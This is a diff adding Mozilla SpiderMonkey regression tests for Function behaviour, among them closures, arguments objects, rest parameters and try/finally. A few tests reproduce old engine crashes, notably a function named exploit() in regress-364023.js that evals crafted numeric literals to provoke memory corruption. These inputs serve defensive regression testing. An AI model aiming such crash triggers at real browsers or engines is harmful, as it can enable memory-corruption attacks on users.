diff --git a/js/src/tests/non262/Function/regress-338121-01.js b/js/src/tests/non262/Function/regress-338121-01.js
new file mode 100644
index 0000000000..e51d8c952e
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-338121-01.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(Android) silentfail slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338121;
+var summary = 'Issues with JS_ARENA_ALLOCATE_CAST';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+expectExitCode(3);
+
+var fe="v";
+
+for (i=0; i<25; i++)
+ fe += fe;
+
+var fu=new Function(
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ "done"
+ );
+
+print('Done');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-338121-02.js b/js/src/tests/non262/Function/regress-338121-02.js
new file mode 100644
index 0000000000..f051c00ce2
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-338121-02.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(Android) silentfail skip -- disabled pending bug 657444
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338121;
+var summary = 'Issues with JS_ARENA_ALLOCATE_CAST';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+var fe="vv";
+
+for (i=0; i<24; i++)
+ fe += fe;
+
+var fu=new Function(
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ "done"
+ );
+
+//alert("fu="+fu);
+//print("fu="+fu);
+var fuout = 'fu=' + fu;
+
+print('Done');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-338121-03.js b/js/src/tests/non262/Function/regress-338121-03.js
new file mode 100644
index 0000000000..4fd6ea2928
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-338121-03.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(Android) silentfail slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338121;
+var summary = 'Issues with JS_ARENA_ALLOCATE_CAST';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+var fe="vv";
+
+for (i=0; i<24; i++)
+ fe += fe;
+
+var fu=new Function(
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe,
+ "done"
+ );
+
+//alert("fu="+fu);
+//print("fu="+fu);
+var fuout = 'fu=' + fu;
+
+print('Done');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-344052.js b/js/src/tests/non262/Function/regress-344052.js
new file mode 100644
index 0000000000..f9f747276f
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-344052.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 344052;
+var summary = 'Function prototype - simple shared property';
+var actual = '';
+var expect = 'true';
+
+Function.prototype.foo = true;
+function y(){};
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ actual = String(y.foo);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Function/regress-364023.js b/js/src/tests/non262/Function/regress-364023.js
new file mode 100644
index 0000000000..6102351a6a
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-364023.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 364023;
+var summary = 'Do not crash in JS::GetPrivate';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function exploit() {
+ var code = "";
+ for(var i = 0; i < 0x10000; i++) {
+ if(i == 125) {
+ code += "void 0x10000050505050;\n";
+ } else {
+ code += "void " + (0x10000000000000 + i) + ";\n";
+ }
+ }
+ code += "function foo() {}\n";
+ eval(code);
+ }
+ exploit();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Function/regress-49286.js b/js/src/tests/non262/Function/regress-49286.js
new file mode 100644
index 0000000000..0b748b3ebf
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-49286.js
@@ -0,0 +1,100 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-10
+ *
+ * SUMMARY: Invoking try...catch through Function.call
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=49286
+ *
+ * 1) Define a function with a try...catch block in it
+ * 2) Invoke the function via the call method of Function
+ * 3) Pass bad syntax to the try...catch block
+ * 4) We should catch the error!
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 49286;
+var summary = 'Invoking try...catch through Function.call';
+var cnErrorCaught = 'Error caught';
+var cnErrorNotCaught = 'Error NOT caught';
+var cnGoodSyntax = '1==2';
+var cnBadSyntax = '1=2';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var obj = new testObject();
+
+status = 'Section A of test: direct call of f';
+actual = f.call(obj);
+expect = cnErrorCaught;
+addThis();
+
+status = 'Section B of test: indirect call of f';
+actual = g.call(obj);
+expect = cnErrorCaught;
+addThis();
+
+
+
+//-----------------------------------------
+test();
+//-----------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+// An object storing bad syntax as a property -
+function testObject()
+{
+ this.badSyntax = cnBadSyntax;
+ this.goodSyntax = cnGoodSyntax;
+}
+
+
+// A function wrapping a try...catch block
+function f()
+{
+ try
+ {
+ eval(this.badSyntax);
+ }
+ catch(e)
+ {
+ return cnErrorCaught;
+ }
+ return cnErrorNotCaught;
+}
+
+
+// A function wrapping a call to f -
+function g()
+{
+ return f.call(this);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
diff --git a/js/src/tests/non262/Function/regress-518103.js b/js/src/tests/non262/Function/regress-518103.js
new file mode 100644
index 0000000000..70bab0d572
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-518103.js
@@ -0,0 +1,27 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 518103;
+var summary = 'lambda constructor "method" vs. instanceof';
+var actual;
+var expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var Y = {widget: {}};
+
+Y.widget.DataSource = function () {};
+Y.widget.DS_JSArray = function (A) { this.data = A; };
+Y.widget.DS_JSArray.prototype = new Y.widget.DataSource();
+
+var J = new Y.widget.DS_JSArray( [ ] );
+
+actual = J instanceof Y.widget.DataSource;
+expect = true;
+
+reportCompare(expect, actual, summary);
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/non262/Function/regress-524826.js b/js/src/tests/non262/Function/regress-524826.js
new file mode 100644
index 0000000000..da1dfbba08
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-524826.js
@@ -0,0 +1,28 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 524826;
+var summary = 'null-closure property initialiser mis-brands object literal scope';
+var actual;
+var expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function make(g) {
+ var o = {f: function(a,b) { return a*b; }, g: g};
+ return o;
+}
+var z = -1;
+var x = make(function(c) { return c*z; });
+var y = make(function(c) { return -c*z; });
+
+function callg(o, c) { return o.g(c); };
+actual = callg(x, 1);
+expect = -callg(y, 1);
+
+reportCompare(expect, actual, summary);
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/non262/Function/regress-528082.js b/js/src/tests/non262/Function/regress-528082.js
new file mode 100644
index 0000000000..1ca7b77cbb
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-528082.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 528082;
+var summary = 'named function expression function-name-as-upvar slot botch';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function f() {
+ return function g(a) { return function () { return g; }(); }();
+}
+var actual = typeof f();
+var expect = "function";
+
+reportCompare(expect, actual, summary);
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/non262/Function/regress-533254.js b/js/src/tests/non262/Function/regress-533254.js
new file mode 100644
index 0000000000..b0e319818b
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-533254.js
@@ -0,0 +1,28 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 533254;
+var summary = 'init-method late in table-big initialiser screwup';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function f() {
+ var proto = {p8:8};
+ var obj = {
+ p0:0, p1:1, p2:2, p3:3, p4:4, p5:5, p6:6, p7:7, p8:8, p9:9,
+ p10:0, p11:1, p12:2, p13:3, p14:4, p15:5, p16:6, p17:7, p18:8, p19:9,
+ m: function() { return 42; }
+ };
+ return obj;
+}
+var expect = f(),
+ actual = f();
+
+expect += '';
+actual += '';
+reportCompare(expect, actual, summary);
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/non262/Function/regress-545980.js b/js/src/tests/non262/Function/regress-545980.js
new file mode 100644
index 0000000000..5e29def494
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-545980.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 518103;
+var summary = 'partial flat closures must not reach across funargs';
+var actual = "no crash";
+var expect = actual;
+
+function Timer(){}
+Timer.prototype = { initWithCallback: function (o) {Timer.q.push(o)} };
+Timer.q = [];
+
+var later;
+var ac = {startSearch: function(q,s,n,o){later=o}};
+
+var bm = {insertBookmark: function(){}, getIdForItemAt: function(){}};
+
+function run_test() {
+ var tagIds = [];
+
+ (function doSearch(query) {
+ ac.startSearch(query, "", null, {
+ onSearchResult: function() {
+ var num = tagIds.length;
+
+ var timer = new Timer;
+ var next = query.slice(1);
+ timer.initWithCallback({ notify: function() { return doSearch(next); } });
+ }
+ });
+ })("title");
+}
+
+run_test();
+later.onSearchResult();
+for (var i in Timer.q)
+ Timer.q[i].notify();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-58274.js b/js/src/tests/non262/Function/regress-58274.js
new file mode 100644
index 0000000000..f8ef3e5880
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-58274.js
@@ -0,0 +1,189 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 15 July 2002
+ * SUMMARY: Testing functions with double-byte names
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=58274
+ *
+ * Here is a sample of the problem:
+ *
+ * js> function f\u02B1 () {}
+ *
+ * js> f\u02B1.toSource();
+ * function f¦() {}
+ *
+ * js> f\u02B1.toSource().toSource();
+ * (new String("function f\xB1() {}"))
+ *
+ *
+ * See how the high-byte information (the 02) has been lost?
+ * The same thing was happening with the toString() method:
+ *
+ * js> f\u02B1.toString();
+ *
+ * function f¦() {
+ * }
+ *
+ * js> f\u02B1.toString().toSource();
+ * (new String("\nfunction f\xB1() {\n}\n"))
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 58274;
+var summary = 'Testing functions with double-byte names';
+var ERR = 'UNEXPECTED ERROR! \n';
+var ERR_MALFORMED_NAME = ERR + 'Could not find function name in: \n\n';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var sEval;
+var sName;
+
+
+sEval = "function f\u02B2() {return 42;}";
+eval(sEval);
+sName = getFunctionName(f\u02B2);
+
+// Test function call -
+status = inSection(1);
+actual = f\u02B2();
+expect = 42;
+addThis();
+
+// Test both characters of function name -
+status = inSection(2);
+actual = sName[0];
+expect = sEval[9];
+addThis();
+
+status = inSection(3);
+actual = sName[1];
+expect = sEval[10];
+addThis();
+
+
+
+sEval = "function f\u02B2\u0AAA () {return 84;}";
+eval(sEval);
+sName = getFunctionName(f\u02B2\u0AAA);
+
+// Test function call -
+status = inSection(4);
+actual = f\u02B2\u0AAA();
+expect = 84;
+addThis();
+
+// Test all three characters of function name -
+status = inSection(5);
+actual = sName[0];
+expect = sEval[9];
+addThis();
+
+status = inSection(6);
+actual = sName[1];
+expect = sEval[10];
+addThis();
+
+status = inSection(7);
+actual = sName[2];
+expect = sEval[11];
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Goal: test that f.toString() contains the proper function name.
+ *
+ * Note, however, f.toString() is implementation-independent. For example,
+ * it may begin with '\nfunction' instead of 'function'. Therefore we use
+ * a regexp to make sure we extract the name properly.
+ *
+ * Here we assume that f has been defined by means of a function statement,
+ * and not a function expression (where it wouldn't have to have a name).
+ *
+ * Rhino uses a Unicode representation for f.toString(); whereas
+ * SpiderMonkey uses an ASCII representation, putting escape sequences
+ * for non-ASCII characters. For example, if a function is called f\u02B1,
+ * then in Rhino the toString() method will present a 2-character Unicode
+ * string for its name, whereas SpiderMonkey will present a 7-character
+ * ASCII string for its name: the string literal 'f\u02B1'.
+ *
+ * So we force the lexer to condense the string before using it.
+ * This will give uniform results in Rhino and SpiderMonkey.
+ */
+function getFunctionName(f)
+{
+ var s = condenseStr(f.toString());
+ var re = /\s*function\s+(\S+)\s*\(/;
+ var arr = s.match(re);
+
+ if (!(arr && arr[1]))
+ return ERR_MALFORMED_NAME + s;
+ return arr[1];
+}
+
+
+/*
+ * This function is the opposite of functions like escape(), which take
+ * Unicode characters and return escape sequences for them. Here, we force
+ * the lexer to turn escape sequences back into single characters.
+ *
+ * Note we can't simply do |eval(str)|, since in practice |str| will be an
+ * identifier somewhere in the program (e.g. a function name); thus |eval(str)|
+ * would return the object that the identifier represents: not what we want.
+ *
+ * So we surround |str| lexicographically with quotes to force the lexer to
+ * evaluate it as a string. Have to strip out any linefeeds first, however -
+ */
+function condenseStr(str)
+{
+ /*
+ * You won't be able to do the next step if |str| has
+ * any carriage returns or linefeeds in it. For example:
+ *
+ * js> eval("'" + '\nHello' + "'");
+ * 1: SyntaxError: unterminated string literal:
+ * 1: '
+ * 1: ^
+ *
+ * So replace them with the empty string -
+ */
+ str = str.replace(/[\r\n]/g, '')
+ return eval("'" + str + "'");
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Function/regress-85880.js b/js/src/tests/non262/Function/regress-85880.js
new file mode 100644
index 0000000000..d5d6d63175
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-85880.js
@@ -0,0 +1,136 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-06-14
+ *
+ * SUMMARY: Regression test for Bugzilla bug 85880
+ *
+ * Rhino interpreted mode was nulling out the arguments object of a
+ * function if it happened to call another function inside its body.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=85880
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 85880;
+var summary = 'Arguments object of g(){f()} should not be null';
+var cnNonNull = 'Arguments != null';
+var cnNull = 'Arguments == null';
+var cnRecurse = true;
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f1(x)
+{
+}
+
+
+function f2()
+{
+ return f2.arguments;
+}
+status = 'Section A of test';
+actual = (f2() == null);
+expect = false;
+addThis();
+
+status = 'Section B of test';
+actual = (f2(0) == null);
+expect = false;
+addThis();
+
+
+function f3()
+{
+ f1();
+ return f3.arguments;
+}
+status = 'Section C of test';
+actual = (f3() == null);
+expect = false;
+addThis();
+
+status = 'Section D of test';
+actual = (f3(0) == null);
+expect = false;
+addThis();
+
+
+function f4()
+{
+ f1();
+ f2();
+ f3();
+ return f4.arguments;
+}
+status = 'Section E of test';
+actual = (f4() == null);
+expect = false;
+addThis();
+
+status = 'Section F of test';
+actual = (f4(0) == null);
+expect = false;
+addThis();
+
+
+function f5()
+{
+ if (cnRecurse)
+ {
+ cnRecurse = false;
+ f5();
+ }
+ return f5.arguments;
+}
+status = 'Section G of test';
+actual = (f5() == null);
+expect = false;
+addThis();
+
+status = 'Section H of test';
+actual = (f5(0) == null);
+expect = false;
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = isThisNull(actual);
+ expectedvalues[UBound] = isThisNull(expect);
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+function isThisNull(bool)
+{
+ return bool? cnNull : cnNonNull
+ }
diff --git a/js/src/tests/non262/Function/regress-94506.js b/js/src/tests/non262/Function/regress-94506.js
new file mode 100644
index 0000000000..048c7fcfaf
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-94506.js
@@ -0,0 +1,126 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 08 August 2001
+ *
+ * SUMMARY: When we invoke a function, the arguments object should take
+ * a back seat to any local identifier named "arguments".
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=94506
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 94506;
+var summary = 'Testing functions employing identifiers named "arguments"';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var TYPE_OBJECT = typeof new Object();
+var arguments = 5555;
+
+
+// use a parameter named "arguments"
+function F1(arguments)
+{
+ return arguments;
+}
+
+
+// use a local variable named "arguments"
+function F2()
+{
+ var arguments = 55;
+ return arguments;
+}
+
+
+// same thing in a different order. CHANGES THE RESULT!
+function F3()
+{
+ return arguments;
+ var arguments = 555;
+}
+
+
+// use the global variable above named "arguments"
+function F4()
+{
+ return arguments;
+}
+
+
+
+/*
+ * In Sections 1 and 2, expect the local identifier, not the arguments object.
+ * In Sections 3 and 4, expect the arguments object, not the the identifier.
+ */
+
+status = 'Section 1 of test';
+actual = F1(5);
+expect = 5;
+addThis();
+
+
+status = 'Section 2 of test';
+actual = F2();
+expect = 55;
+addThis();
+
+
+status = 'Section 3 of test';
+actual = typeof F3();
+expect = TYPE_OBJECT;
+addThis();
+
+
+status = 'Section 4 of test';
+actual = typeof F4();
+expect = TYPE_OBJECT;
+addThis();
+
+
+// Let's try calling F1 without providing a parameter -
+status = 'Section 5 of test';
+actual = F1();
+expect = undefined;
+addThis();
+
+
+// Let's try calling F1 with too many parameters -
+status = 'Section 6 of test';
+actual = F1(3,33,333);
+expect = 3;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Function/regress-97921.js b/js/src/tests/non262/Function/regress-97921.js
new file mode 100644
index 0000000000..1bea04a1dd
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-97921.js
@@ -0,0 +1,115 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 10 September 2001
+ *
+ * SUMMARY: Testing with() statement with nested functions
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=97921
+ *
+ * Brendan: "The bug is peculiar to functions that have formal parameters,
+ * but that are called with fewer actual arguments than the declared number
+ * of formal parameters."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 97921;
+var summary = 'Testing with() statement with nested functions';
+var cnYES = 'Inner value === outer value';
+var cnNO = "Inner value !== outer value!";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var outerValue = '';
+var innerValue = '';
+var useWith = '';
+
+
+function F(i)
+{
+ i = 0;
+ if(useWith) with(1){i;}
+ i++;
+
+ outerValue = i; // capture value of i in outer function
+ F1 = function() {innerValue = i;}; // capture value of i in inner function
+ F1();
+}
+
+
+status = inSection(1);
+useWith=false;
+F(); // call F without supplying the argument
+actual = innerValue === outerValue;
+expect = true;
+addThis();
+
+status = inSection(2);
+useWith=true;
+F(); // call F without supplying the argument
+actual = innerValue === outerValue;
+expect = true;
+addThis();
+
+
+function G(i)
+{
+ i = 0;
+ with (new Object()) {i=100};
+ i++;
+
+ outerValue = i; // capture value of i in outer function
+ G1 = function() {innerValue = i;}; // capture value of i in inner function
+ G1();
+}
+
+
+status = inSection(3);
+G(); // call G without supplying the argument
+actual = innerValue === 101;
+expect = true;
+addThis();
+
+status = inSection(4);
+G(); // call G without supplying the argument
+actual = innerValue === outerValue;
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = areTheseEqual(actual);
+ expectedvalues[UBound] = areTheseEqual(expect);
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+function areTheseEqual(yes)
+{
+ return yes? cnYES : cnNO
+ }
diff --git a/js/src/tests/non262/Function/rest-has-duplicated.js b/js/src/tests/non262/Function/rest-has-duplicated.js
new file mode 100644
index 0000000000..67577ab4e3
--- /dev/null
+++ b/js/src/tests/non262/Function/rest-has-duplicated.js
@@ -0,0 +1,17 @@
+// Make sure duplicated name is allowed in non-strict.
+function f0(a, a) {
+}
+
+// SyntaxError should be thrown if rest parameter name is duplicated.
+assertThrowsInstanceOf(() => eval(`
+function f1(a, ...a) {
+}
+`), SyntaxError);
+
+// SyntaxError should be thrown if there is a duplicated parameter.
+assertThrowsInstanceOf(() => eval(`
+function f2(a, a, ...b) {
+}
+`), SyntaxError);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/rest-parameter-names.js b/js/src/tests/non262/Function/rest-parameter-names.js
new file mode 100644
index 0000000000..6cfa01dcfb
--- /dev/null
+++ b/js/src/tests/non262/Function/rest-parameter-names.js
@@ -0,0 +1,68 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288460;
+var summary =
+ "Rest parameters to functions can be named |yield| or |eval| or |let| in "
+ "non-strict code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var f1 = (...yield) => yield + 42;
+assertEq(f1(), "42");
+assertEq(f1(1), "142");
+
+var f2 = (...eval) => eval + 42;
+assertEq(f2(), "42");
+assertEq(f2(1), "142");
+
+var f3 = (...let) => let + 42;
+assertEq(f3(), "42");
+assertEq(f3(1), "142");
+
+function g1(x, ...yield)
+{
+ return yield + x;
+}
+assertEq(g1(0, 42), "420");
+
+function g2(x, ...eval)
+{
+ return eval + x;
+}
+assertEq(g2(0, 42), "420");
+
+function g3(x, ...let)
+{
+ return let + x;
+}
+assertEq(g3(0, 42), "420");
+
+function h()
+{
+ "use strict";
+
+ var badNames = ["yield", "eval", "let"];
+
+ for (var badName of ["yield", "eval", "let"])
+ {
+ assertThrowsInstanceOf(() => eval(`var q = (...${badName}) => ${badName} + 42;`),
+ SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(`function r(x, ...${badName}) { return x + ${badName}; }`),
+ SyntaxError);
+ }
+}
+h();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Function/return-finally.js b/js/src/tests/non262/Function/return-finally.js
new file mode 100644
index 0000000000..fe075d4576
--- /dev/null
+++ b/js/src/tests/non262/Function/return-finally.js
@@ -0,0 +1,172 @@
+var BUGNUMBER = 1202134;
+var summary = "Return value should not be overwritten by finally block with normal execution.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== single ====
+
+var f;
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ }
+};
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ return 43;
+ }
+};
+assertEq(f(), 43);
+
+f = function() {
+ // F.[[type]] is throw
+ try {
+ return 42;
+ } finally {
+ throw 43;
+ }
+};
+var caught = false;
+try {
+ f();
+} catch (e) {
+ assertEq(e, 43);
+ caught = true;
+}
+assertEq(caught, true);
+
+f = function() {
+ // F.[[type]] is break
+ do try {
+ return 42;
+ } finally {
+ break;
+ } while (false);
+ return 43;
+};
+assertEq(f(), 43);
+
+f = function() {
+ // F.[[type]] is break
+ L: try {
+ return 42;
+ } finally {
+ break L;
+ }
+ return 43;
+};
+assertEq(f(), 43);
+
+f = function() {
+ // F.[[type]] is continue
+ do try {
+ return 42;
+ } finally {
+ continue;
+ } while (false);
+ return 43;
+};
+assertEq(f(), 43);
+
+// ==== nested ====
+
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ do try {
+ return 43;
+ } finally {
+ break;
+ } while (0);
+ }
+};
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
